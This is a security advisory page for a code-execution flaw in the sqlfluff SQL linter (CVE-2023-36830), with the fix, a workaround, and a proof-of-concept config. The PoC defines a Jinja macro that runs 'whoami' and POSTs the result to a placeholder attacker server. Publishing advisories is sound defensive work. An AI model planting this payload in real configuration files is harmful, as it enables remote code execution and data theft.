Arbitrary Code Execution Affecting sqlfluff package, versions [,2.1.2)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.14% (35th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-SQLFLUFF-5759286
  • published7 Jul 2023
  • disclosed6 Jul 2023
  • creditDan Amodio

Introduced: 6 Jul 2023

CVE-2023-36830  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade sqlfluff to version 2.1.2 or higher.

Overview

sqlfluff is a The SQL Linter for Humans

Affected versions of this package are vulnerable to Arbitrary Code Execution. In environments where untrusted users have access to the config files (e.g. .sqlfluff), there is a potential security vulnerability where those users could use the library_path config value to allow arbitrary python code to be executed via macros.

Note:

For many users who use SQLFluff in the context of an environment where all users already have fairly escalated privileges, this may not be an issue - however in larger user bases, or where SQLFluff is bundled into another tool where developers still wish to give users access to supply their on rule configuration, this may be an issue.

Workaround

Limiting access to - or otherwise validating configuration files before they are ingested by SQLFluff will provide a similar effect and does not require upgrade.

PoC

[sqlfluff:templater:jinja]
library_path = /usr/lib/python3.9/http

[sqlfluff:templater:jinja:macros]
a_macro_def = {{client.HTTPSConnection('<SOME_EXTERNAL_SERVER_YOU_CONTROL>').request('POST', '/', server.os.popen('whoami').read())}}

CVSS Base Scores

version 3.1